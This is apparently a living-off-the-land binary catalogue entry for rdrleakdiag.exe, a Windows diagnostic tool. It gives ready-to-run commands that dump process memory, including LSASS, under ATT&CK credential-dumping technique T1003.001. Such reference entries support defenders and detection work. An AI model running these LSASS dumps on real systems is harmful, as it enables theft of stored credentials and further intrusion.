.. /rdrleakdiag.exe
Star

Microsoft Windows resource leak diagnostic tool

Paths:

c:\windows\system32\rdrleakdiag.exe
c:\Windows\SysWOW64\rdrleakdiag.exe

Resources:

Acknowledgements:

Grzegorz Tworek (@0gtweet)

Detection:

Dump

Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
```
rdrleakdiag.exe /p 940 /o c:\evil /fullmemdmp /wait 1
```
Use case
Dump process by PID.

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1003
Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
```
rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /wait 1
```
Use case
Dump LSASS process.

Privileges required
Administrator

Operating systems
Windows

ATT&CK® technique
T1003.001
After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
```
rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /snap
```
Use case
Dump LSASS process mutliple times.

Privileges required
Administrator

Operating systems
Windows

ATT&CK® technique
T1003.001